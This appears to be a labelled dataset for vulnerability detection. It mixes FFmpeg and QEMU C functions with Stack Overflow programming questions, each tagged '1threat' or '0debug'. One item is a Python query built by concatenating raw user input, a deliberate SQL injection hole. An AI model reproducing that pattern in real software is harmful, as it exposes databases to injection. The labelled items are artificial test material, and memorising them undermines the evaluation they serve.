if(r->parse_slice_header(r, &r->s.gb, &si) < 0 || si.start){
av_log(avctx, AV_LOG_ERROR, "First slice header is incorrect\n");
return -1;
}
if ((!s->last_picture_ptr || !s->last_picture_ptr->f.data[0]) && si.type == AV_PICTURE_TYPE_B)
return -1;
if( (avctx->skip_frame >= AVDISCARD_NONREF && si.type==AV_PICTURE_TYPE_B)
|| (avctx->skip_frame >= AVDISCARD_NONKEY && si.type!=AV_PICTURE_TYPE_I)
|| avctx->skip_frame >= AVDISCARD_ALL)
return avpkt->size;
for(i = 0; i < slice_count; i++){
int offset = get_slice_offset(avctx, slices_hdr, i);
int size;
if(i+1 == slice_count)
size = buf_size - offset;
else
size = get_slice_offset(avctx, slices_hdr, i+1) - offset;
if(offset > buf_size){
av_log(avctx, AV_LOG_ERROR, "Slice offset is greater than frame size\n");
break;
}
r->si.end = s->mb_width * s->mb_height;
if(i+1 < slice_count){
init_get_bits(&s->gb, buf+get_slice_offset(avctx, slices_hdr, i+1), (buf_size-get_slice_offset(avctx, slices_hdr, i+1))*8);
if(r->parse_slice_header(r, &r->s.gb, &si) < 0){
if(i+2 < slice_count)
size = get_slice_offset(avctx, slices_hdr, i+2) - offset;
else
size = buf_size - offset;
}else
r->si.end = si.start;
}
last = rv34_decode_slice(r, r->si.end, buf + offset, size);
s->mb_num_left = r->s.mb_x + r->s.mb_y*r->s.mb_width - r->si.start;
if(last)
break;
}
if(last && s->current_picture_ptr){
if(r->loop_filter)
r->loop_filter(r, s->mb_height - 1);
ff_er_frame_end(s);
MPV_frame_end(s);
if (s->pict_type == AV_PICTURE_TYPE_B || s->low_delay) {
*pict = *(AVFrame*)s->current_picture_ptr;
} else if (s->last_picture_ptr != NULL) {
*pict = *(AVFrame*)s->last_picture_ptr;
}
if(s->last_picture_ptr || s->low_delay){
*data_size = sizeof(AVFrame);
ff_print_debug_info(s, pict);
}
s->current_picture_ptr = NULL;
}
return avpkt->size;
}
| 1threat
|
Python csv writer ugly format after change delimiter : I'm trying to change delimiter on csv and write to a new file, is just a simple modification but isn't it.
#!/usr/bin/python
#-*- econde: utf-8 -*-
import sys
import csv
def main():
r = open(sys.argv[1],"r")
wr = open(sys.argv[2],"a+")
rea = csv.reader(r, delimiter=',')
writer = csv.writer(wr,quotechar="'")
for row in rea:
line = str(row).replace(",","|")
writer.writerow("".join(line))
print type(line)
print line
print "".join(line)
r.close()
wr.close()
if __name__ == '__main__':
main()
The output in console looks ugly like:
[ , ' , 0 , 9 , / , 1 , 0 , / , 2 , 0 , 1 , 6 , , 2 , 2 , : , 0 , 0 , : , 0 , 4 , ' , | , , ' , a , n , y , ' , | , , ' , w , w , w , 4 , . , z , w , r , . , g , o , o , g , l , e , e , . , o , r , g , 3 , ' , | , , " , P , r , e , v , i , o , u , s , , M , D , 5 , : , , ' , c , 5 , d , 8 , 3 , 6 , 8 , 1 , 5 , b , 2 , 3 , b , 1 , d , f , 5 , e , e , 5 , 2 , 7 , 8 , 5 , 6 , 4 , 1 , b , 7 , b , 4 , 2 , ' , ; , , C , u , r , r , e , n , t , , M , D , 5 , : , , ' , d , e , 7 , e , a , f , 8 , 2 , 8 , c , 6 , 1 , d , 0 , 5 , 8 , 4 , 9 , 4 , e , d , 6 , d , 3 , d , b , d , 8 , 4 , c , 6 , 9 , ' , ; , , P , r , e , v , i , o , u , s , , S , H , A , 1 , : , , ' , d , c , 1 , 6 , d , 1 , 4 , 4 , 1 , b , a , d , a , d , 2 , 0 , d , a , 0 , d , 3 , d , 9 , 0 , e , 9 , a , b , 7 , a , 4 , 3 , 7 , 2 , 1 , 7 , 8 , 0 , 4 , 5 , ' , ; , , C , u , r , r , e , n , t , , S , H , A , 1 , : , , ' , c , 4 , d , f , 0 , 6 , 5 , 5 , 0 , d , 3 , 6 , 5 , 9 , 9 , 1 , 3 , b , 1 , e , 0 , 1 , 0 , e , c , 6 , 1 , 8 , 6 , 2 , e , 8 , 8 , e , 7 , c , 5 , 9 , 3 , d , ' , ; , , I , n , t , e , g , r , i , t , y , , c , h , e , c , k , s , u , m , , c , h , a , n , g , e , d , , f , o , r , : , , ' , / , M , Y , F , i , l , e , s , _ , t , e , s , t , . , j , s , ' , " , ]
and is worst written to the file because each character is written per field and the file looks ugly
| 0debug
|
static int decode_end(AVCodecContext *avctx)
{
SmackVContext * const smk = (SmackVContext *)avctx->priv_data;
if(smk->mmap_tbl)
av_free(smk->mmap_tbl);
if(smk->mclr_tbl)
av_free(smk->mclr_tbl);
if(smk->full_tbl)
av_free(smk->full_tbl);
if(smk->type_tbl)
av_free(smk->type_tbl);
if (smk->pic.data[0])
avctx->release_buffer(avctx, &smk->pic);
return 0;
}
| 1threat
|
pl/pgsql, selecting condition from other table : 1st table col: t_id, c_id, town
2st table col: p_id, year_of_birth, t_id -< is ref to t_id in 1st table
SELECT year_of_birth from 2st where
(
(t_id from 2st) = t_id from 1st) AND (c_id from 1st) = 'text value'
)
;
| 0debug
|
Could not find method destination() for arguments on Report xml of type org.gradle.api.plugins.quality.internal.findbugs.FindBugsXmlReportImpl : <p>After updating the android studio version to 3.4.0 I updated the Gradle version to 5.1.1 and tried rebuilding the project it is throwing an exception in quality.gradle file.</p>
<pre><code> Task failed with an exception.
-----------
* Where:
Script '/home/Desktop/workplace/testProject/quality/quality.gradle' line: 35
* What went wrong:
A problem occurred evaluating script.
> Could not find method destination() for arguments [/home/Desktop/workplace/testProject/app/build/reports/findbugs/findbugs.xml] on Report xml of type org.gradle.api.plugins.quality.internal.findbugs.FindBugsXmlReportImpl.
* Try:
Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output. Run with --scan to get full insights.
</code></pre>
<p><strong>Android Project Level classpath URL and Gradle distribution URL</strong></p>
<p>classpath 'com.android.tools.build:gradle:3.4.0'
distributionUrl=https://services.gradle.org/distributions/gradle-5.1.1-all.zip</p>
<p>I tried doing invalidate the cache and restart the project. it keeps failing</p>
<p><strong>Here is my quality.gradle file</strong></p>
<pre><code>apply plugin: 'kotlin-android-extensions'
apply plugin: 'kotlin-android'
apply plugin: 'checkstyle'
apply plugin: 'findbugs'
apply plugin: 'pmd'
task checkstyle(type: Checkstyle) {
configFile file("${project.rootDir}/quality/checkstyle/checkstyle.xml")
configProperties = [
'checkstyle.cache.file': rootProject.file('build/checkstyle.cache'),
'checkstyleSuppressionsPath': file("${project.rootDir}/quality/checkstyle/suppressions.xml").absolutePath
]
source 'src'
include '**/*.java'
exclude '**/gen/**'
exclude '**/commons/**' //exclude copied stuff from apache commons
classpath = files()
}
task findbugs(type: FindBugs) {
ignoreFailures = false
effort = "max"
reportLevel = "high"
excludeFilter file("${project.rootDir}/quality/findbugs/findbugs-filter.xml")
classes = fileTree('build/intermediates/classes/')
source 'src'
include '**/*.java'
exclude '**/gen/**'
reports {
xml.enabled = false
html.enabled = true
xml {
destination "$project.buildDir/reports/findbugs/findbugs.xml"
}
html {
destination "$project.buildDir/reports/findbugs/findbugs.html"
}
}
classpath = files()
}
task pmd(type: Pmd) {
ignoreFailures = false
ruleSetFiles = files("${project.rootDir}/quality/pmd/pmd-ruleset.xml")
ruleSets = []
source 'src'
include '**/*.java'
exclude '**/gen/**'
reports {
xml.enabled = false
html.enabled = true
xml {
destination "$project.buildDir/reports/pmd/pmd.xml"
}
html {
destination "$project.buildDir/reports/pmd/pmd.html"
}
}
}
check.doLast {
project.tasks.getByName("checkstyle").execute()
project.tasks.getByName("findbugs").execute()
project.tasks.getByName("pmd").execute()
project.tasks.getByName("lint").execute()
}
checkstyle {
toolVersion '6.17' // set Checkstyle version here
}
</code></pre>
<p>This is happening when I use the Gradle version 5.1.1 and Gradle classpath version 3.4.0. Earlier I was using Gradle 4.10.1 and classpath version 3.3.2.</p>
| 0debug
|
Do you apply min max scaling separately on training and test data? : <p>While applying min max scaling to normalize your features, do you apply min max scaling on the entire dataset before splitting it into training, validation and test data?</p>
<p>Or do you split first and then apply min max on each set, using the min and max values from that specific set?</p>
<p>Lastly , when making a prediction on a new input, should the features of that input be normalized using the min, max values from the training data before being fed into the network?</p>
| 0debug
|
Condition inside table : <p>How to make a condition inside table in php with foreach?</p>
<pre><code>foreach($query->result_array() as $dtrpt)
{
$cRet .='
<tr>
<td align="center" style="font-size:12px;">'.$dtrpt['tgl_bukti'].'</td>
<td align="center" style="font-size:12px;">'.$dtrpt['no_kas'].'</td>
<td align="center" style="font-size:12px;">'.$dtrpt['tipe'].'</td>
<td align="center" style="font-size:12px;">'.number_format($dtrpt['nilai'], 2, ',', '.').'</td>
<td align="center" style="font-size:12px;">'.number_format($dtrpt['nilai'], 2, ',', '.').'</td>
<td align="center" style="font-size:12px;">'.number_format($dtrpt['nilai'], 2, ',', '.').'</td>
</tr>
';
}
</code></pre>
| 0debug
|
cursor.execute('SELECT * FROM users WHERE username = ' + user_input)
| 1threat
|
Bagging model machine learning :
I have the following line of code:
# Setting the values for the number of folds
num_folds = 10
seed = 7
# Separating data into folds
kfold = KFold(num_folds, True, random_state = seed)
# Create the unit model (classificador fraco)
cart = DecisionTreeClassifier()
# Setting the number of trees
num_trees = 100
# Creating the bagging model
model = BaggingClassifier(base_estimator = cart, n_estimators = num_trees, random_state = seed)
# Cross Validation
resultado = cross_val_score(model, X, Y, cv = kfold)
# Result print
print("Acurácia: %.3f" % (resultado.mean() * 100))
This is a ready-made code that I got from the internet, which is obviously predefined for testing my cross-validated TRAINING data and knowing the accuracy of the bagging algorithm.
I would like to know if I can apply it to my TEST data (data without output 'Y')
The code is a bit confusing and I can't model it.
I'm looking for something like:
# Training the model
model.fit(X, Y)
# Making predict
Y_pred = model.predict(X_test)
I want to use the trained bagging model on top of the training data in the test data and make predictions but I don't know how to modify the code
| 0debug
|
How to use C++ commands on Terminal with Mac : How can I communicate with Terminal on Mac so that I can complete the following task?
I want to ask for the IP or ID of a Raspberry Pi from the user, then utilize the input to connect to the Raspberry Pi.
I have tried the code below, but it won't work, says "no matching function call to system".
cout << "What is the Raspberry Pi's IP address or ID? ";
string raspiID;
cin >> raspiID;
cout << endl;
string command = "ssh pi@" + raspiID + "";
system(command);
| 0debug
|
static inline void gen_op_eval_fblg(TCGv dst, TCGv src,
unsigned int fcc_offset)
{
gen_mov_reg_FCC0(dst, src, fcc_offset);
gen_mov_reg_FCC1(cpu_tmp0, src, fcc_offset);
tcg_gen_xor_tl(dst, dst, cpu_tmp0);
}
| 1threat
|
HttpServerUtility.UrlTokenEncode replacement for netstandard : <p>I'm porting a project targeting <code>net472</code> to <code>netstandard</code>. The last <code>System.Web</code> dependency I'm stuck with is <a href="https://docs.microsoft.com/en-us/dotnet/api/system.web.httpserverutility.urltokenencode?view=netframework-4.7.2#System_Web_HttpServerUtility_UrlTokenEncode_System_Byte___" rel="noreferrer"><code>HttpServerUtility.UrlTokenEncode(Byte[])</code></a>.</p>
<p>I found <a href="https://fuget.org/packages/Microsoft.AspNetCore.WebUtilities/2.1.0/lib/netstandard2.0/Microsoft.AspNetCore.WebUtilities.dll/Microsoft.AspNetCore.WebUtilities" rel="noreferrer"><code>Microsoft.AspNetCore.WebUtilities</code></a>, which contains <a href="https://fuget.org/packages/Microsoft.AspNetCore.WebUtilities/2.1.0/lib/netstandard2.0/Microsoft.AspNetCore.WebUtilities.dll/Microsoft.AspNetCore.WebUtilities/Base64UrlTextEncoder" rel="noreferrer"><code>Base64UrlTextEncoder</code></a> and <a href="https://fuget.org/packages/Microsoft.AspNetCore.WebUtilities/2.1.0/lib/netstandard2.0/Microsoft.AspNetCore.WebUtilities.dll/Microsoft.AspNetCore.WebUtilities/WebEncoders" rel="noreferrer"><code>WebEncoders</code></a>, but those are not interchangeable with the <code>UrlTokenEncode</code>/<code>Decode</code>, as it appends / expects the number of <a href="https://stackoverflow.com/q/6916805/155005"><code>=</code> padding characters</a> at the end, e.g.:</p>
<pre><code>var data = Encoding.UTF8.GetBytes("SO");
Convert.ToBase64String(data); // U08=
HttpServerUtility.UrlTokenEncode(data); // U081 - this is what's expected and
// the only thing UrlTokenDecode can handle
Base64UrlTextEncoder.Encode(data); // U08
WebEncoders.Base64UrlEncode(data); // U08
</code></pre>
<p>As far as I can tell, there are no other differences (I ran tests with random strings), but it also pulls in some other dependencies (Microsoft.Net.Http.Headers & Microsoft.Extensions.Primitives), that I don't really need in that project.</p>
<p>Is there any nuget package with a drop-in replacement? I'm thinking of implementing this myself, if not.</p>
| 0debug
|
I am creating a word guess game : I'm creating a word guess game that I want to work like this:
https://youtu.be/W-IJcC4tYFI
I have started to write the code. Unfortunately, I'm stuck (really stuck) and I will admit that I'm new to programming.
Your input is greatly need. Please to assist.
Thanks.
I have already created some bootstrap divs that will hold the info of my code.
I have also declare some of my variables.
<div class="container">
<div class="artist row">
</div>
<div class="gamearea row">
<div class="albumarea col-6">
</div>
<div class="actualgame col-6">
<div class="startarea">
<p id="start-text">Press any key to start playing!</p>
</div>
<div class="winsarea">
<p id="wins-text"></p>
</div>
<div class="current-wordarea">
<p id="currentword-text"></p>
</div>
<div class="remaining-guessesarea">
<p id="guessremaining-text"></p>
</div>
<div class="letters-guessedarea">
<p id="letterguessed-text"></p>
</div>
<div class="starts"></div>
</div>
</div>
</div>
<!DOCTYPE html>
<html>
<head>
<title>Word Guess Game</title>
<link rel="stylesheet" type="text/css" href="reset.css">
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="container">
<div class="artist row">
</div>
<div class="gamearea row">
<div class="albumarea col-6">
</div>
<div class="actualgame col-6">
<div class="startarea">
<p id="start-text">Press any key to start playing!</p>
</div>
<div class="winsarea">
<p id="wins-text"></p>
</div>
<div class="current-wordarea">
<p id="currentword-text"></p>
</div>
<div class="remaining-guessesarea">
<p id="guessremaining-text"></p>
</div>
<div class="letters-guessedarea">
<p id="letterguessed-text"></p>
</div>
<div class="starts"></div>
</div>
</div>
</div>
<script type="text/javascript">
var wins = 0;
var currentword=0;
var letter = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"];
var Word =["marley", "babyface", "hamilton"];
var solution = word[Math.floor(Math.random() * word.length)]
var solutionlength = solution.length;
var display = [solutionlength];
var lettersguessed = solution.split("");
var guessesremaining = 12;
var output ="";
var win = solutionlength
var letterplayed = "";
document.onkeyup = function(event) {
var userGuess = event.key;
if () {
}
};
</script>
</body>
</html>
| 0debug
|
Why is the id attribute needed when we have classes? : <p>Both <code>id</code> and <code>class</code> can be used to identify HTML elements. Any HTML element that can be identified with an ID could be similarly identified if you added the ID as a class instead. I can see some vague contours of a semantic reason why id and classes are both nice to have, but it hardly seems justifiable if we could do the exact same thing with one of them. Am I missing some important usages of <code>id</code> which cannot be done with <code>class</code>?</p>
| 0debug
|
How to fix error: "class, interface, or enum expected" when defining a Map outside of a class? : <p>For my own <code>Logger</code> class I want to define a map to map the priority number back to a meaningful string like follows: </p>
<pre><code>static Map<int, String> map = new HashMap<int, String>();
map.put(2, "VERBOSE");
map.put(3, "DEBUG");
map.put(4, "INFO");
map.put(5, "WARN");
map.put(6, "ERROR");
</code></pre>
<p>I wonder if there might be a function that does this automatically? But I do now know every function there is. </p>
<p>However, I define the lines just before my class definition, and then I get the error: </p>
<pre><code>Error:(14, 8) error: class, interface, or enum expected
</code></pre>
<p>and not sure what it means (maybe I cannot declare variables outside a class?). I also tried to define the map inside the class, but then the <code>put</code> method cannot be resolved. I also notice, that I have not imported a <code>Map</code> module, and AndroidStudio does not seem to require a <code>Map</code> module (i.e. the name 'Map' is not red and underlined). </p>
<p>I am very confused (as usual); I just want to get a String "ERROR" if the priority-value is 6 and so on. </p>
<p>What am I doing wrong in my case...?</p>
| 0debug
|
Transpose dataset and counting occurrences in R : The original dataset contains survey data in long form, like
T Q1 Q2 Q3
M1 3 5 4
M1 3 1 3
M1 1 3 1
M2 4 4 2
M2 2 2 3
M2 5 5 5
Where *T* is the type of respondents and *Q1--Q3* are the questions, and the cell value corresponds to their agreement level on a *1--5* Likert
scale.
**What I want**
T Q A1 A2 A3 A4 A5
M1 Q1 1 0 3 0 0
M2 Q1 0 1 0 1 1
M1 Q2 1 0 1 0 1
M2 Q2 0 1 0 1 1
M1 Q3 1 0 1 1 0
M2 Q3 0 1 1 0 1
Where *A1--A5* are the possible answers (1--5 Likert) and the cell value contains the frequency of these answers for each group M1 and M2.
I won
| 0debug
|
Error:Cause: invalid stream header: 000900D9 in android studio 2.3.1 : <p>I am using android studio 2.3.1 and it was working fine yesterday But now it throw me an error <strong>Error:Cause: invalid stream header: 000900D9</strong>
this message throw from <strong>Messages Gradle Sync dialog</strong>. </p>
<p><strong><em>Below are the steps which i did to fixed this problem but nothing works for me</em></strong></p>
<p>1.invalidate cache and restart</p>
<ol start="2">
<li>Delete <strong>scripts and scripts-remapped</strong> files from <strong>C:\Users\suraj.gradle\caches\3.3</strong></li>
</ol>
<p>and also checked many post in <strong>stackoverflow</strong> but nothing work for me and most of the questions put here are not answered by anyone yet .</p>
<p>Under my <strong>project structure</strong></p>
<p><strong>Compile Sdk version</strong> :Api 25</p>
<p><strong>Build tool version</strong> :25.0.2 </p>
| 0debug
|
I don't understand why. problems with double : <p>Why doubles round themselves? How can i prevent it?
If i insert 45000.98 i expect 45000.98, but the number is rounded.</p>
<pre><code>#include <iostream>
#include <iomanip>
using namespace std;
int main()
{
double a;
cin >> a; //if i insert 45000.98
cout << a; //output is 45001
cout << endl << setprecision(2) << a; //output is 4.5e+04
}
</code></pre>
| 0debug
|
I want to make this using bootstrap 3, anyone help me how i start and divide it in columns? : <p><a href="http://i.stack.imgur.com/7y55F.png" rel="nofollow">This is the website i want to make it using bootstrap</a></p>
| 0debug
|
void HELPER(exception_return)(CPUARMState *env)
{
int cur_el = arm_current_el(env);
unsigned int spsr_idx = aarch64_banked_spsr_index(cur_el);
uint32_t spsr = env->banked_spsr[spsr_idx];
int new_el;
aarch64_save_sp(env, cur_el);
env->exclusive_addr = -1;
if (arm_generate_debug_exceptions(env)) {
spsr &= ~PSTATE_SS;
}
if (spsr & PSTATE_nRW) {
env->aarch64 = 0;
new_el = 0;
env->uncached_cpsr = 0x10;
cpsr_write(env, spsr, ~0);
if (!arm_singlestep_active(env)) {
env->uncached_cpsr &= ~PSTATE_SS;
}
aarch64_sync_64_to_32(env);
env->regs[15] = env->elr_el[1] & ~0x1;
} else {
new_el = extract32(spsr, 2, 2);
if (new_el > cur_el
|| (new_el == 2 && !arm_feature(env, ARM_FEATURE_EL2))) {
goto illegal_return;
}
if (extract32(spsr, 1, 1)) {
goto illegal_return;
}
if (new_el == 0 && (spsr & PSTATE_SP)) {
goto illegal_return;
}
env->aarch64 = 1;
pstate_write(env, spsr);
if (!arm_singlestep_active(env)) {
env->pstate &= ~PSTATE_SS;
}
aarch64_restore_sp(env, new_el);
env->pc = env->elr_el[cur_el];
}
return;
illegal_return:
env->pstate |= PSTATE_IL;
env->pc = env->elr_el[cur_el];
spsr &= PSTATE_NZCV | PSTATE_DAIF;
spsr |= pstate_read(env) & ~(PSTATE_NZCV | PSTATE_DAIF);
pstate_write(env, spsr);
if (!arm_singlestep_active(env)) {
env->pstate &= ~PSTATE_SS;
}
}
| 1threat
|
int ff_interleave_packet_per_dts(AVFormatContext *s, AVPacket *out,
AVPacket *pkt, int flush)
{
AVPacketList *pktl;
int stream_count = 0;
int i;
if (pkt) {
ff_interleave_add_packet(s, pkt, interleave_compare_dts);
}
if (s->max_interleave_delta > 0 && s->packet_buffer && !flush) {
AVPacket *top_pkt = &s->packet_buffer->pkt;
int64_t delta_dts = INT64_MIN;
int64_t top_dts = av_rescale_q(top_pkt->dts,
s->streams[top_pkt->stream_index]->time_base,
AV_TIME_BASE_Q);
for (i = 0; i < s->nb_streams; i++) {
int64_t last_dts;
const AVPacketList *last = s->streams[i]->last_in_packet_buffer;
if (!last)
continue;
last_dts = av_rescale_q(last->pkt.dts,
s->streams[i]->time_base,
AV_TIME_BASE_Q);
delta_dts = FFMAX(delta_dts, last_dts - top_dts);
stream_count++;
}
if (delta_dts > s->max_interleave_delta) {
av_log(s, AV_LOG_DEBUG,
"Delay between the first packet and last packet in the "
"muxing queue is %"PRId64" > %"PRId64": forcing output\n",
delta_dts, s->max_interleave_delta);
flush = 1;
}
} else {
for (i = 0; i < s->nb_streams; i++)
stream_count += !!s->streams[i]->last_in_packet_buffer;
}
if (stream_count && (s->internal->nb_interleaved_streams == stream_count || flush)) {
pktl = s->packet_buffer;
*out = pktl->pkt;
s->packet_buffer = pktl->next;
if (!s->packet_buffer)
s->packet_buffer_end = NULL;
if (s->streams[out->stream_index]->last_in_packet_buffer == pktl)
s->streams[out->stream_index]->last_in_packet_buffer = NULL;
av_freep(&pktl);
return 1;
} else {
av_init_packet(out);
return 0;
}
}
| 1threat
|
What to consider when finding a good editor for Javascript : <p>Which features should I consider when finding a good editor for Javascript?</p>
<p>Are there any standard set of features the major development companies expect from an editor when fielded for programmers use?</p>
| 0debug
|
How to get user info (email, name, etc.) from the react-native-fbsdk? : <p>I'm trying to access the user's email and name to setup and account when a user authenticates with Facebook. I've ready the documentations for react-native-fbsdk but I'm not seeing it anywhere.</p>
| 0debug
|
To know the sass structure : <p>This is my sass structure please explain what does its mean?</p>
<p>actually am analysing a code structure. am unable to understad the structure.</p>
<pre><code>.class-name{
some styles..
&.class-name2{
some styles..
}
}
</code></pre>
| 0debug
|
static bool tb_cmp(const void *p, const void *d)
{
const TranslationBlock *tb = p;
const struct tb_desc *desc = d;
if (tb->pc == desc->pc &&
tb->page_addr[0] == desc->phys_page1 &&
tb->cs_base == desc->cs_base &&
tb->flags == desc->flags &&
tb->trace_vcpu_dstate == desc->trace_vcpu_dstate &&
!atomic_read(&tb->invalid)) {
if (tb->page_addr[1] == -1) {
return true;
} else {
tb_page_addr_t phys_page2;
target_ulong virt_page2;
virt_page2 = (desc->pc & TARGET_PAGE_MASK) + TARGET_PAGE_SIZE;
phys_page2 = get_page_addr_code(desc->env, virt_page2);
if (tb->page_addr[1] == phys_page2) {
return true;
}
}
}
return false;
}
| 1threat
|
How do you implement the inverse of bit shift operations in C? : <p>When reverse engineering C code that uses bit shift operations, I'm confused on the methodology behind getting the inverse the code below.</p>
<pre><code>unsigned char red = 37;
unsigned char blue = 100;
unsigned char green = 77
unsigned short us = (red << 8) + (blue);
us = (us << 5 ) | (us >> 11);
unsigned int threebytes = (us << 8) + green;
</code></pre>
<p>Since NOT is the operation for inverting bits, I assumed I could implement a NOT to invert the bits at each line or at the end of the code, however, my result doesn't match up with the expected output which leads me to believe that I've come to a misunderstanding. What am I not understanding about reverse engineering?</p>
| 0debug
|
Beginner python code won't print in cmd : <p>I've written this short segment to print ice-cream flavors, but when I run it in the command prompt nothing happens, and when I tried to output it to a .txt file I also got nothing. </p>
<pre><code>def favorite_ice_cream():
ice_cream_flavor=[
"Death by chocolate",
"Arboretum breeze",
"Bittersweet mint",
"Cookies-N-Cream"
]
print(ice_cream_flavor[3])
favorite_ice_cream()
</code></pre>
| 0debug
|
ReferenceError: dbo is not defined : Bellow attach folder directory ,server.js and api.js file .
program is not running give me error like
ReferenceError: dbo is not defined
at C:\shivapp\mean_app\mandiapp\server\api.js:18:1
at Layer.handle [as handle_request] (C:\shivapp\mean_app\mandiapp\node_modules\express\lib\router\layer.js:95:5)
at next (C:\shivapp\mean_app\mandiapp\node_modules\express\lib\router\route.js:137:13)
at Route.dispatch (C:\shivapp\mean_app\mandiapp\node_modules\express\lib\router\route.js:112:3)
at Layer.handle [as handle_request] (C:\shivapp\mean_app\mandiapp\node_modules\express\lib\router\layer.js:95:5)
at C:\shivapp\mean_app\mandiapp\node_modules\express\lib\router\index.js:281:22
at Function.process_params (C:\shivapp\mean_app\mandiapp\node_modules\express\lib\router\index.js:335:12)
at next (C:\shivapp\mean_app\mandiapp\node_modules\express\lib\router\index.js:275:10)
at Function.handle (C:\shivapp\mean_app\mandiapp\node_modules\express\lib\router\index.js:174:3)
at router (C:\shivapp\mean_app\mandiapp\node_modules\express\lib\router\index.js:47:12).
Please help me ..
folder directory
[![enter image description here][1]][1]
[1]: https://i.stack.imgur.com/EVxtW.png
**File-> server.js**
var express=require('express');
var bodyParser=require('body-parser');
var path=require('path');
var http = require('http');
var app=express();
var api= require('./server/api');
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(express.static(path.join(__dirname,'dist')));
app.use('/',api);
//8376884527
app.get('*'),(req,res) => {
res.sendFile(path.join(__dirname,'dist/index.html'));
}
var port= process.env.port || '3000';
app.set('port',port);
var server = http.createServer(app);
server.listen(port,()=>console.log('server running...'));
**file -> api.js**
var express = require('express');
var router = express.Router();
var MongoClient = require('mongodb').MongoClient;
var ObjectID = require('mongodb').ObjectID;
MongoClient.connect("mongodb://localhost:27017/mandiapp", function(err, db) {
if(err) throw err;
var dbo = db.db("mandiapp");
});
router.get('/users', function(req, res) {
dbo.collection("user").find({}).toArray(function(err, result) {
if (err) throw err;
res.json(result);
//dbo.close();
})
})
router.get('/recent', function(req, res) {
var collection = db.get().collection('comments')
collection.find().sort({'date': -1}).limit(100).toArray(function(err, docs) {
res.render('comments', {comments: docs})
})
})
module.exports = router
| 0debug
|
Start adding children from right in Row : <p>I am designing an app in Flutter. I want to add elements from Right side rather than default left. Please guide how I can do this?</p>
| 0debug
|
static int qemu_rbd_open(BlockDriverState *bs, QDict *options, int flags,
Error **errp)
{
BDRVRBDState *s = bs->opaque;
char pool[RBD_MAX_POOL_NAME_SIZE];
char snap_buf[RBD_MAX_SNAP_NAME_SIZE];
char conf[RBD_MAX_CONF_SIZE];
char clientname_buf[RBD_MAX_CONF_SIZE];
char *clientname;
QemuOpts *opts;
Error *local_err = NULL;
const char *filename;
int r;
opts = qemu_opts_create(&runtime_opts, NULL, 0, &error_abort);
qemu_opts_absorb_qdict(opts, options, &local_err);
if (local_err) {
error_propagate(errp, local_err);
qemu_opts_del(opts);
return -EINVAL;
}
filename = qemu_opt_get(opts, "filename");
if (qemu_rbd_parsename(filename, pool, sizeof(pool),
snap_buf, sizeof(snap_buf),
s->name, sizeof(s->name),
conf, sizeof(conf), errp) < 0) {
r = -EINVAL;
goto failed_opts;
}
clientname = qemu_rbd_parse_clientname(conf, clientname_buf);
r = rados_create(&s->cluster, clientname);
if (r < 0) {
error_setg(&local_err, "error initializing");
goto failed_opts;
}
s->snap = NULL;
if (snap_buf[0] != '\0') {
s->snap = g_strdup(snap_buf);
}
if (flags & BDRV_O_NOCACHE) {
rados_conf_set(s->cluster, "rbd_cache", "false");
} else {
rados_conf_set(s->cluster, "rbd_cache", "true");
}
if (strstr(conf, "conf=") == NULL) {
rados_conf_read_file(s->cluster, NULL);
}
if (conf[0] != '\0') {
r = qemu_rbd_set_conf(s->cluster, conf, errp);
if (r < 0) {
goto failed_shutdown;
}
}
r = rados_connect(s->cluster);
if (r < 0) {
error_setg(&local_err, "error connecting");
goto failed_shutdown;
}
r = rados_ioctx_create(s->cluster, pool, &s->io_ctx);
if (r < 0) {
error_setg(&local_err, "error opening pool %s", pool);
goto failed_shutdown;
}
r = rbd_open(s->io_ctx, s->name, &s->image, s->snap);
if (r < 0) {
error_setg(&local_err, "error reading header from %s", s->name);
goto failed_open;
}
bs->read_only = (s->snap != NULL);
qemu_opts_del(opts);
return 0;
failed_open:
rados_ioctx_destroy(s->io_ctx);
failed_shutdown:
rados_shutdown(s->cluster);
g_free(s->snap);
failed_opts:
qemu_opts_del(opts);
return r;
}
| 1threat
|
How does the expect().to.be.true work in Chai? : <pre><code>expect(true).to.be.true;
</code></pre>
<p>In this code, all the 'to', 'be', 'true' seems to be an attribute of the object response from 'expect(true)'.</p>
<p>How can these attributes work so that they can raise an exception?</p>
| 0debug
|
Please help I can not see the error : <p>I am using Intellj Idea and I am playing with ArrayLists, Arrays and a sorting algorithm I want to generate 5 random grades put them into an ArrayList convert the values of the ArrayList into an Array. Sort the Array values from least to greatest and print to screen the grades before and after sort here is what I have:</p>
<pre><code> import java.util.ArrayList;
import java.util.Iterator;
import java.util.Arrays;
public class Grades {
public static void main(String args[])
{
ArrayList <Integer> scores = new ArrayList<Integer>();
for(int i = 0; i < 5; i++)
{
scores.add((int) (Math.random() * 30 + 1));
}
for (int i =0; i < scores.size();i++)
{
System.out.println(scores.get(i));
}
int arrayOne[] = new int[scores.size()];
arrayOne = scores.toArray(new int[scores.size()]);
</code></pre>
<p>The last line is where I have the problem. Intellij says: no suitable method found for toArray(int[]). </p>
<p>Is my syntax wrong? </p>
<p>Did I forget to import a library?</p>
<p>Is it possible for ArrayLists and Arrays to interact in this way? </p>
<p>Please help. </p>
<pre><code> int first,second, temp=0;
for(first=0; first < arrayOne.length -1; first++)
{
for (second = 0; second < arrayOne.length - 1 - first; second++)
{
if(arrayOne[second] < arrayOne[second +1])
{
temp = arrayOne[second];
arrayOne[second] = arrayOne[second + 1];
arrayOne[second+1] = temp;
}
}
}
</code></pre>
<p>I haven't been able to run this bit to see if it sorts the way I want it too yet.</p>
<pre><code> for(int i = 0; i < arrayOne.length; i++)
{
System.out.println(arrayOne[i]);
}
}
</code></pre>
<p>}</p>
| 0debug
|
static void vfio_listener_region_del(MemoryListener *listener,
MemoryRegionSection *section)
{
VFIOContainer *container = container_of(listener, VFIOContainer, listener);
hwaddr iova, end;
Int128 llend, llsize;
int ret;
if (vfio_listener_skipped_section(section)) {
trace_vfio_listener_region_del_skip(
section->offset_within_address_space,
section->offset_within_address_space +
int128_get64(int128_sub(section->size, int128_one())));
return;
}
if (unlikely((section->offset_within_address_space & ~TARGET_PAGE_MASK) !=
(section->offset_within_region & ~TARGET_PAGE_MASK))) {
error_report("%s received unaligned region", __func__);
return;
}
